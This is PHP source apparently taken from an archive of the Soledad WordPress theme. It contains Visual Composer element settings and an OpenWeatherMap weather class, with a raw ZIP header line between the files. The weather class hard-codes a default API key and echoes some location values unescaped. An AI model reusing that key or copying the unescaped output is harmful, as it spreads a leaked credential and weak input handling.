						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Portfolio Title', 'soledad' ),
						'param_name'       => 'use_ptitle_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'ptitle_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
					),

					array(
						'type'             => 'textfield',
						'param_name'       => 'heading_ptittle_settings',
						'heading'          => esc_html__( 'Portfolio Category', 'soledad' ),
						'value'            => '',
						'group'            => $group_color,
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Category Color', 'soledad' ),
						'param_name'       => 'pcat_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Portfolio Category Hover Color', 'soledad' ),
						'param_name'       => 'pcat_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'pcat_fsize',
						'heading'          => __( 'Font Size for Portfolio Category', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Portfolio Category', 'soledad' ),
						'param_name'       => 'use_pcat_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'pcat_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_pcat_typo', 'value' => 'yes' ),
					),

				)
			) );

			// Popular Posts
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Popular Posts', 'soledad' ),
				'description' => 'Display Popular Posts Slider Based on The Most Posts Viewed',
				'base'        => 'popular_posts',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array_merge( array(
					array(
						'type'        => 'loop',
						'heading'     => '',
						'param_name'  => 'build_query',
						'value'       => 'post_type:post|size:10',
						'settings'    => array(
							'size'      => array( 'value' => 10, 'hidden' => false ),
							'post_type' => array( 'value' => 'post', 'hidden' => false )
						),
						'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Select Columns for Display',
						'value'       => array(
							'4 Columns' => '4',
							'3 Columns' => '3'
						),
						'param_name'  => 'columns',
						'description' => '',
					),

					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Image Size Type', 'soledad' ),
						'value'      => array(
							'Default'         => '',
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical',
							'Custom'          => 'custom',
						),
						'std'        => '',
						'param_name' => 'penci_featimg_size',
					),
					array(
						'type'       => 'penci_only_number',
						'heading'    => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
						'param_name' => 'penci_featimg_ratio',
						'value'      => '',
						'std'        => '',
						'min'        => 0,
						'max'        => 100,
						'suffix'     => '%',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'       => 'dropdown',
						'heading'    => __( 'Custom Image Size', 'soledad' ),
						'value'      => array(
							'Default'                              => '',
							'Thumbnail - 150 x 150'                => 'thumbnail',
							'Medium - 300 x 300'                   => 'medium',
							'Medium Large - 768 x auto'            => 'medium_large',
							'Large - 1024 x 1024'                  => 'large',
							'Penci-single-full - 1920 x auto'      => 'penci-single-full',
							'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
							'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
							'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
							'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
							'Penci-thumb - 585 x 390'              => 'penci-thumb',
							'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
							'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
							'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
							'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
							'Full'                                 => 'full',
						),
						'param_name' => 'thumb_size',
						'dependency' => array( 'element' => 'penci_featimg_size', 'value' => 'custom' ),
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Show Prev/Next Buttons', 'soledad' ),
						'param_name'       => 'show_navs',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Hide Dots', 'soledad' ),
						'param_name'       => 'hide_dots',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'textfield',
						'param_name'       => 'popularposts_heading_2',
						'heading'          => esc_html__( 'Block Heading Title', 'soledad' ),
						'value'            => '',
						'group'            => 'Heading',
						'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
					),
					array(
						'type'        => 'penci_switch',
						'true_state'  => 'yes',
						'false_state' => 'no',
						'default'     => 'no',
						'std'         => 'no',
						'heading'     => __( 'Hide Heading Title', 'soledad' ),
						'param_name'  => 'hide_block_heading',
						'group'       => 'Heading',
					),
				), Penci_Vc_Params_Helper::heading_block_params( false ), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::params_popular_posts_typo_color(), array(
					array(
						'type'       => 'css_editor',
						'heading'    => __( 'CSS box', 'soledad' ),
						'param_name' => 'css',
						'group'      => __( 'Design Options', 'soledad' ),
					),
					penci_get_vc_responsive_spacing_map(),
				) )
			) );

			// Sidebar
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Soledad Sidebar', 'soledad' ),
				'description' => 'Display a Sidebar for Soledad Theme',
				'base'        => 'soledad_sidebar',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar to Display',
						'value'       => Penci_Custom_Sidebar::get_list_sidebar_vc(),
						'param_name'  => 'sidebar',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Select Sidebar Style',
						'value'       => array(
							'Default( follow Customize )' => '',
							'No Boxed'                    => 'pcsb-boxed-none',
							'Boxed Whole Sidebar'         => 'pcsb-boxed-whole',
							'Boxed Widgets on Sidebar'    => 'pcsb-boxed-widget',
						),
						'param_name'  => 'layout',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar Widget Heading Style',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Style 1'                     => 'style-1',
							'Style 2'                     => 'style-2',
							'Style 3'                     => 'style-3',
							'Style 4'                     => 'style-4',
							'Style 5'                     => 'style-5',
							'Style 6 - Only Text'         => 'style-6',
							'Style 7'                     => 'style-7',
							'Style 8'                     => 'style-9',
							'Style 9'                     => 'style-8',
							'Style 10'                    => 'style-10',
							'Style 11'                    => 'style-11',
							'Style 12'                    => 'style-12',
							'Style 13'                    => 'style-13',
							'Style 14'                    => 'style-14',
							'Style 15'                    => 'style-15',
							'Style 16'                    => 'style-16',
							'style-2 style-17'            => 'Style 17',
							'style-18'                    => 'Style 18',
							'style-18 style-19'           => 'Style 19',
							'style-18 style-20'           => 'Style 20',
							'style-21'                    => __( 'Style 21', 'soledad' ),
							'style-22'                    => __( 'Style 22', 'soledad' ),
							'style-23'                    => __( 'Style 23', 'soledad' ),
							'style-24'                    => __( 'Style 24', 'soledad' ),
							'style-25'          		  => __( 'Style 25', 'soledad' ),
							'style-26'          		  => __( 'Style 26', 'soledad' ),
							'style-27'          		  => __( 'Style 27', 'soledad' ),
							'style-28'          		  => __( 'Style 28', 'soledad' ),
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Sidebar Widget Heading Align',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Center'                      => 'pcalign-center',
							'Left'                        => 'pcalign-left',
							'Right'                       => 'pcalign-right',
						),
						'param_name'  => 'align',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Align Icon on Style 15',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Right'                       => 'pciconp-right',
							'Left'                        => 'pciconp-left',
						),
						'param_name'  => 'icon_pos',
						'description' => '',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Custom Icon on Style 15',
						'value'       => array(
							'Default( follow Customize )' => '',
							'Arrow Right'                 => 'pcicon-right',
							'Arrow Left'                  => 'pcicon-left',
							'Arrow Down'                  => 'pcicon-down',
							'Arrow Up'                    => 'pcicon-up',
							'Star'                        => 'pcicon-star',
							'Bars'                        => 'pcicon-bars',
							'File'                        => 'pcicon-file',
							'Fire'                        => 'pcicon-fire',
							'Book'                        => 'pcicon-book',
						),
						'param_name'  => 'icon',
						'description' => '',
						'dependency'  => array( 'element' => 'style', 'value' => array( 'style-15' ) ),
					),
				)
			) );

			// Featured Boxes
			vc_map( array(
				'name'        => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Soledad Featured Boxes', 'soledad' ),
				'description' => 'Create Featured Boxes',
				'base'        => 'soledad_featured_boxes',
				'class'       => '',
				'controls'    => 'full',
				'icon'        => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
				'category'    => penci_get_theme_name( 'Soledad' ),
				'weight'      => 700,
				'params'      => array(
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Style',
						'value'       => array(
							'Style 1' => 'boxes-style-1',
							'Style 2' => 'boxes-style-2',
							'Style 3' => 'boxes-style-3',
							'Style 4' => 'boxes-style-4',
						),
						'param_name'  => 'style',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Columns',
						'value'       => array(
							'3 Columns' => 'boxes-3-columns',
							'1 Column'  => 'boxes-1-column',
							'2 Columns' => 'boxes-2-columns',
							'4 Columns' => 'boxes-4-columns',
						),
						'param_name'  => 'columns',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Featured Boxes Size Type',
						'value'       => array(
							'Horizontal Size' => 'horizontal',
							'Square Size'     => 'square',
							'Vertical Size'   => 'vertical'
						),
						'param_name'  => 'size',
						'description' => '',
					),
					array(
						'type'        => 'dropdown',
						'heading'     => 'Open in New Tab?',
						'value'       => array(
							'No'  => 'no',
							'Yes' => 'yes',
						),
						'param_name'  => 'new_tab',
						'description' => '',
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'Custom Margin Top ( Unit is Pixel )',
						'param_name'  => 'margin_top',
						'description' => '',
						'value'       => '0'
					),
					array(
						'type'        => 'textfield',
						'heading'     => 'Custom Margin Bottom ( Unit is Pixel )',
						'param_name'  => 'margin_bottom',
						'description' => '',
						'value'       => '0'
					),
					array(
						'type'       => 'param_group',
						'heading'    => '',
						'param_name' => 'boxes_data',
						'value'      => urlencode( json_encode( array(
							array(
								'text' => 'Featured Boxed 1',
								'url'  => 'http://example1.com/'
							),
							array(
								'text' => 'Featured Boxed 2',
								'url'  => 'http://example2.com/'
							),
							array(
								'text' => 'Featured Boxed 3',
								'url'  => 'http://example3.com/'
							),
						) ) ),
						'params'     => array(
							array(
								'type'        => 'attach_image',
								'heading'     => __( 'Image', 'soledad' ),
								'param_name'  => 'image',
								'value'       => '',
								'description' => __( 'Select image from media library.', 'soledad' ),
							),
							array(
								'type'        => 'textfield',
								'heading'     => __( 'Text', 'soledad' ),
								'param_name'  => 'text',
								'admin_label' => true,
							),
							array(
								'type'       => 'textfield',
								'heading'    => __( 'URL', 'soledad' ),
								'param_name' => 'url',
							),
						),
					),

					// Color
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Background and Border color', 'soledad' ),
						'param_name'       => 'img_box_border_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Text color', 'soledad' ),
						'param_name'       => 'img_box_text_color',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'colorpicker',
						'heading'          => esc_html__( 'Hover text color', 'soledad' ),
						'param_name'       => 'img_box_text_hcolor',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_number',
						'param_name'       => 'img_box_fsize',
						'heading'          => __( 'Font Size for Text', 'soledad' ),
						'value'            => '',
						'std'              => '',
						'suffix'           => 'px',
						'min'              => 1,
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'             => 'penci_switch',
						'heading'          => __( 'Custom Font Family for Text', 'soledad' ),
						'param_name'       => 'use_img_box_typo',
						'true_state'       => 'yes',
						'false_state'      => 'no',
						'default'          => 'no',
						'std'              => 'no',
						'group'            => $group_color,
						'edit_field_class' => 'vc_col-sm-6',
					),
					array(
						'type'       => 'google_fonts',
						'group'      => $group_color,
						'param_name' => 'img_box_typo',
						'value'      => '',
						'dependency' => array( 'element' => 'use_img_box_typo', 'value' => 'yes' ),
					),
				)
			) );
		}

		/**
		 * Show notice if your plugin is activated but Visual Composer is not
		 */
		public static function notice() {
			?>

            <div class="updated">
                <p><?php _e( '<strong>Soledad VC Addon</strong> requires <strong>Visual Composer</strong> plugin to be installed and activated on your site.', 'soledad' ) ?></p>
            </div>

			<?php
		}

		/**
		 * Get category for auto complete field
		 *
		 * @param string $taxonomy Taxnomy to get terms
		 *
		 * @return array
		 */
		private static function get_terms( $taxonomy = 'category' ) {
			$cats = get_terms( $taxonomy );
			if ( ! $cats || is_wp_error( $cats ) ) {
				return array();
			}

			$categories = array();
			foreach ( $cats as $cat ) {
				$categories[ $cat->name ] = $cat->slug;
			}

			return $categories;
		}
	}

	new Soledad_VC_Admin();
}
PK     0w\Xx
Z  
Z    weather.phpnu [        <?php

class Penci_Weather {

	private static $caching_time = 14400;  // 3 hours

	private static $default_api_keys = '65a589922c250a25a65e5d934a2cc9e9';

	public static function get_appid() {

		$api_key = get_theme_mod( 'penci_api_weather_key' );

		if ( ! $api_key ) {
			$api_key = self::$default_api_keys;
		}

		return $api_key;
	}

	public static function weather_data( $atts ) {

		$atts = wp_parse_args( $atts, array(
			'w_type'        => 'today',
			'locale'        => 'en',
			'location'      => '',
			'location_show' => '',
			'forecast_days' => '5',
			'units'         => 'metric', // metric or imperial
		) );

		if ( empty( $atts['location'] ) ) {
			return self::mess_error();
		}

		$weather_data = array(
			'api_location'     => $atts['location'],
			'api_locale'       => $atts['locale'],
			'today_icon'       => '',
			'today_icon_text'  => '',
			'today_temp'       => array( 0, 0 ),
			'today_humidity'   => '',
			'today_wind_speed' => array( 0, 0 ),
			'today_min'        => array( 0, 0 ),
			'today_max'        => array( 0, 0 ),
			'today_clouds'     => 0,
			'current_unit'     => 'metric' == $atts['units'] ? '0' : '1',
			'temp_label'       => 'metric' == $atts['units'] ? 'C' : 'F',
			'speed_label'      => 'metric' == $atts['units'] ? 'km/h' : 'mp/h',
			'forecast'         => array()
		);

		$weather_data_status = self::get_weather_data( $atts, $weather_data );

		return $weather_data_status;

	}

	public static function get_weather_data( $atts, $weather_data ) {

		$sytem_locale      = get_locale();
		$available_locales = self::available_locales();

		// Check for locale
		if ( in_array( $sytem_locale, $available_locales ) ) {
			$atts['locale'] = $sytem_locale;
		}

		// Check for locale by first two digits
		if ( in_array( substr( $sytem_locale, 0, 2 ), $available_locales ) ) {
			$atts['locale'] = substr( $sytem_locale, 0, 2 );
		}

		// TRANSIENT NAME
		$weather_transient_name = 'penci_' . sanitize_title( $atts['location'] ) . strtolower( $atts['units'] ) . '_' . $atts['locale'];

		if ( isset( $_GET['penci_clear_weather_data'] ) ) {
			delete_transient( $weather_transient_name );
		}

		$api_key     = self::get_appid();
		$api_key_old = get_theme_mod( 'penci_api_weather_key_old' );

		if ( $api_key && $api_key != $api_key_old ) {
			set_theme_mod( 'penci_api_weather_key_old', $api_key );
		}
		delete_transient( $weather_transient_name );
		if ( get_transient( $weather_transient_name ) && $api_key == $api_key_old ) {
			$weather_data = get_transient( $weather_transient_name );
		} else {

			$weather_data = self::get_today_data( $atts, $weather_data );
			if ( 'forecast' == $atts['w_type'] ) {
				$weather_data = self::get_forecast_data( $atts, $weather_data );

			}
			set_transient( $weather_transient_name, $weather_data, self::$caching_time );
		}


		if ( 'forecast' == $atts['w_type'] && isset( $weather_data['forecast'] ) && ! $weather_data['forecast'] ) {

			delete_transient( $weather_transient_name );
			$weather_data = self::get_forecast_data( $atts, $weather_data );
			set_transient( $weather_transient_name, $weather_data, self::$caching_time );
		}

		return $weather_data;


	}

	public static function get_today_data( $atts, $weather_data ) {
		$http = is_ssl() ? 'https://' : 'http://';

		$now_ping = $http . "api.openweathermap.org/data/2.5/weather?q=" . urlencode( $atts['location'] ) . "&lang=" . $atts['locale'] . "&units=" . $atts['units'] . '&APPID=' . self::get_appid();

		$now_ping_get = wp_remote_get( $now_ping );

		if ( is_wp_error( $now_ping_get ) ) {
			return $weather_data;
		}

		// get api response
		$api_response = json_decode( $now_ping_get['body'], true );

		if ( isset( $api_response['cod'] ) && $api_response['cod'] == 404 ) {
			return $weather_data;
		} else {
			// Current location
			if ( isset( $api_response['name'] ) ) {
				$weather_data['api_location'] = $api_response['name'];
			}

			// min max current temperature
			if ( isset( $api_response['main']['temp'] ) ) {
				$weather_data['today_temp'][0] = round( $api_response['main']['temp'], 1 );
				$weather_data['today_temp'][1] = $api_response['main']['temp'];
			}
			if ( isset( $api_response['main']['temp_min'] ) ) {
				$weather_data['today_min'][0] = round( $api_response['main']['temp_min'], 1 );
				$weather_data['today_min'][1] = $api_response['main']['temp_min'];
			}
			if ( isset( $api_response['main']['temp_max'] ) ) {
				$weather_data['today_max'][0] = round( $api_response['main']['temp_max'], 1 );
				$weather_data['today_max'][1] = $api_response['main']['temp_max'];
			}

			// humidity
			if ( isset( $api_response['main']['humidity'] ) ) {
				$weather_data['today_humidity'] = round( $api_response['main']['humidity'] );
			}

			// wind speed and direction
			if ( isset( $api_response['wind']['speed'] ) ) {
				$weather_data['today_wind_speed'][0] = round( $api_response['wind']['speed'], 1 );
				$weather_data['today_wind_speed'][1] = self::convert_kmph_to_mph( $api_response['wind']['speed'] );
			}

			// forecast description
			if ( isset( $api_response['weather'][0]['description'] ) ) {
				$weather_data['today_icon_text'] = $api_response['weather'][0]['description'];
			}

			// clouds
			if ( isset( $api_response['clouds']['all'] ) ) {
				$weather_data['today_clouds'] = round( $api_response['clouds']['all'] );
			}

			// forecast description
			if ( isset( $api_response['weather'][0]['description'] ) ) {
				$weather_data['today_icon_text'] = $api_response['weather'][0]['description'];
			}

			// clouds
			if ( isset( $api_response['clouds']['all'] ) ) {
				$weather_data['today_clouds'] = round( $api_response['clouds']['all'] );
			}

			// icon
			if ( isset( $api_response['weather'][0]['icon'] ) ) {
				$icons = array(
					// day
					'01d' => 'wi-day-sunny',
					'02d' => 'wi-day-cloudy-high',
					'03d' => 'wi-cloudy',
					'04d' => 'wi-cloudy',
					'09d' => 'wi-day-showers',
					'10d' => 'wi-day-rain',
					'11d' => 'wi-day-thunderstorm',
					'13d' => 'wi-day-showers',
					'50d' => 'wi-day-cloudy-high',

					//night
					'01n' => 'wi-night-clear',
					'02n' => 'wi-night-alt-cloudy',
					'03n' => 'wi-night-alt-cloudy-high',
					'04n' => 'wi-night-cloudy',
					'09n' => 'wi-night-showers',
					'10n' => 'wi-night-rain',
					'11n' => 'wi-night-thunderstorm',
					'13n' => 'wi-night-snow-wind',
					'50n' => 'wi-night-alt-cloudy',
				);

				$weather_data['today_icon'] = 'wi-day-sunny';
				if ( isset( $icons[ $api_response['weather'][0]['icon'] ] ) ) {
					$weather_data['today_icon'] = $icons[ $api_response['weather'][0]['icon'] ];
				}
			}
		}

		return $weather_data;
	}

	public static function get_forecast_data( $atts, $weather_data ) {
		$http = is_ssl() ? 'https://' : 'http://';

		$type = isset( $atts['type'] ) && $atts['type'] ? $atts['type'] : 'forecast';

		$forecast_ping     = $http . "api.openweathermap.org/data/2.5/" . $type . "?q=" . urlencode( $atts['location'] ) . "&lang=" . $atts['locale'] . "&units=" . $atts['units'] . "&APPID=" . self::get_appid();
		$forecast_ping_get = wp_remote_get( $forecast_ping );

		if ( is_wp_error( $forecast_ping_get ) ) {
			return $forecast_ping_get->get_error_message();
		}

		$forecast_data = json_decode( $forecast_ping_get['body'], true );

		if ( isset( $forecast_data['cod'] ) && ( $forecast_data['cod'] == 404 || $forecast_data['cod'] == 401 ) ) {
			return array();
		} else {
			$weather_data['forecast'] = $forecast_data;
		}

		return $weather_data;
	}

	public static function available_locales() {
		return array(
			'ar',
			'bg',
			'ca',
			'cz',
			'de',
			'el',
			'en',
			'fa',
			'fi',
			'fr',
			'gl',
			'hr',
			'hu',
			'it',
			'ja',
			'kr',
			'la',
			'lt',
			'mk',
			'nl',
			'pl',
			'pt',
			'ro',
			'ru',
			'se',
			'sk',
			'sl',
			'es',
			'tr',
			'ua',
			'vi',
			'zh_cn',
			'zh_tw'
		);
	}

	public static function mess_error( $msg = false ) {
		$msg = $msg ? $msg : esc_html__( 'No weather information available', 'soledad' );

		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		return "<div class='penci-weather-error'>" . $msg . "</div>";
	}

	/**
	 * convert celsius to fahrenheit + rounding (no decimals if result > 100 or one decimal if result < 100)
	 *
	 * @param $celsius_degrees
	 *
	 * @return float
	 */
	private static function convert_c_to_f( $celsius_degrees ) {
		$f_degrees = $celsius_degrees * 9 / 5 + 32;

		$rounded_val = round( $f_degrees, 1 );
		if ( $rounded_val > 99.9 ) {
			return round( $f_degrees );
		}

		return $rounded_val;
	}

	/**
	 * Convert kmph to mph
	 *
	 * @param $kmph
	 *
	 * @return float
	 */
	private static function convert_kmph_to_mph( $kmph ) {
		return round( $kmph * 0.621371192, 1 );
	}

	public static function get_location_show( $atts, $weather_data ) {
		$api_location = '';
		if ( isset( $atts['location_show'] ) && $atts['location_show'] ) {
			$api_location = $atts['location_show'];
		} elseif ( isset( $weather_data['api_location'] ) ) {
			$api_location = $weather_data['api_location'];
		}

		return $api_location;
	}

	public static function get_top_bar_template( $atts ) {
		$weather_data = self::weather_data( $atts );

		if ( empty( $weather_data ) ) {
			return;
		}

		$api_location = self::get_location_show( $atts, $weather_data );

		$current_unit = isset( $weather_data['current_unit'] ) ? $weather_data['current_unit'] : '';
		$today_temp   = isset( $weather_data['today_temp'][ $current_unit ] ) ? $weather_data['today_temp'][ $current_unit ] : '';
		$temp_label   = isset( $weather_data['temp_label'] ) ? $weather_data['temp_label'] : '';
		$today_icon   = isset( $weather_data['today_icon'] ) ? $weather_data['today_icon'] : '';

		if ( '' === $today_temp ) {
			return;
		}

		?>
        <div class="topbar-item topbar-weather">
            <i class="penci-weather-icons wi <?php echo $today_icon; ?>"></i>
            <div class="penci-weather-now">
                <span class="penci-weather-degrees"><?php echo( $today_temp == '-0' ? 0 : $today_temp ); ?></span>
                <span class="penci-weather-unit"><?php echo $temp_label; ?></span>
            </div>
            <div class="penci-weather-location">
                <div class="penci-weather-city"><?php echo $api_location; ?></div>
            </div>
        </div>
		<?php
	}

	public static function weather_icon( $icon ) {

		// Sunny
		if ( $icon == '01d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-sun"></div>
					</div>
				';
		} // Moon
        elseif ( $icon == '01n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-moon"></div>
					</div>
				';
		} // Cloudy Sunny
        elseif ( $icon == '02d' || $icon == '03d' || $icon == '04d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
						<div class="icon-sun-animi"></div>
					</div>
				';
		} // Cloudy Night
        elseif ( $icon == '02n' || $icon == '03n' || $icon == '04n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
						<div class="icon-moon-animi"></div>
					</div>
				';
		} // Showers
        elseif ( $icon == '09d' || $icon == '09n' ) {
			$weather_icon = '
					<div class="weather-icon drizzle-icons showers-icons">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
					</div>
				';
		} // Rainy Sunny
        elseif ( $icon == '10d' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
						<div class="icon-sun-animi"></div>
					</div>
				';
		} // Rainy Night
        elseif ( $icon == '10n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-rainy-animi"></div>
							<div class="icon-rainy-animi-2"></div>
							<div class="icon-rainy-animi-4"></div>
							<div class="icon-rainy-animi-5"></div>
						</div>
						<div class="icon-moon-animi"></div>
					</div>
				';
		} // Thunder
        elseif ( $icon == '11d' || $icon == '11n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-thunder-animi"></div>
						</div>
					</div>
				';
		} // Snowing
        elseif ( $icon == '13d' || $icon == '13n' ) {
			$weather_icon = '
					<div class="weather-icon weather-snowing">
						<div class="basecloud"></div>
						<div class="animi-icons-wrap">
							<div class="icon-windysnow-animi"></div>
							<div class="icon-windysnow-animi-2"></div>
						</div>
					</div>
				';
		} // Mist
        elseif ( $icon == '50d' || $icon == '50n' ) {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-mist"></div>
						<div class="icon-mist-animi"></div>
					</div>
				';
		} /// Default icon | Cloudy
		else {
			$weather_icon = '
					<div class="weather-icon">
						<div class="icon-cloud"></div>
						<div class="icon-cloud-behind"></div>
					</div>
				';
		}

		return apply_filters( 'soledad_weather_icon', $weather_icon, $icon );
	}


	public static function show_forecats( $atts ) {

		if ( ( isset($atts['cookie'] ) && $atts['cookie'] ) && $atts['user_loc'] && isset( $_COOKIE['PenciUserCity'] ) && $_COOKIE['PenciUserCity'] ) {
			$atts['location'] = $_COOKIE['PenciUserCity'];
		}


		$weather_data = self::weather_data( array(
			'w_type'        => 'forecast',
			'locale'        => 'en',
			'location'      => $atts['location'],
			'forecast_days' => $atts['forecast_days'],
			'units'         => $atts['units']
		) );

		$forecast      = isset( $weather_data['forecast'] ) && is_array( $weather_data['forecast'] ) ? $weather_data['forecast'] : array();
		$forecast_list = isset( $forecast['list'] ) && is_array( $weather_data['forecast'] ) ? $forecast['list'] : array();

		if ( ! $forecast_list ) {
			$weather_transient_name = 'penci_' . sanitize_title( $atts['location'] ) . strtolower( $atts['units'] ) . '_' . ( isset( $atts['locale'] ) && $atts['locale'] ? $atts['locale'] : 'en' );
			delete_transient( $weather_transient_name );

			return;
		}

		$current_unit = $weather_data['current_unit'];
		$days_to_show = (int) $atts['forecast_days'];
		$dt_today     = date( 'Ymd', current_time( 'timestamp', 0 ) );

		if ( function_exists( 'penci_get_tran_setting' ) ) {
			$days_of_week = array(
				penci_get_tran_setting( 'penci_weather_sun_text' ),
				penci_get_tran_setting( 'penci_weather_mon_text' ),
				penci_get_tran_setting( 'penci_weather_tue_text' ),
				penci_get_tran_setting( 'penci_weather_wed_text' ),
				penci_get_tran_setting( 'penci_weather_thu_text' ),
				penci_get_tran_setting( 'penci_weather_fri_text' ),
				penci_get_tran_setting( 'penci_weather_sat_text' ),
			);
		} else {
			$days_of_week = array(
				__( 'Sun', 'soledad' ),
				__( 'Mon', 'soledad' ),
				__( 'Tue', 'soledad' ),
				__( 'Wed', 'soledad' ),
				__( 'Thu', 'soledad' ),
				__( 'Fri', 'soledad' ),
				__( 'Sat', 'soledad' )
			);
		}


		$wind_speed       = isset( $weather_data['today_wind_speed'][ $current_unit ] ) ? $weather_data['today_wind_speed'][ $current_unit ] : '';
		$wind_speed_text  = isset( $weather_data['speed_label'] ) ? $weather_data['speed_label'] : '';
		$today_high       = isset( $weather_data['today_max'][ $current_unit ] ) ? round( $weather_data['today_max'][ $current_unit ] ) : '';
		$today_low        = isset( $weather_data['today_min'][ $current_unit ] ) ? round( $weather_data['today_min'][ $current_unit ] ) : '';
		$today_temp       = isset( $weather_data['today_temp'][ $current_unit ] ) ? round( $weather_data['today_temp'][ $current_unit ] ) : '';
		$today_temp_label = isset( $weather_data['temp_label'] ) ? $weather_data['temp_label'] : '';
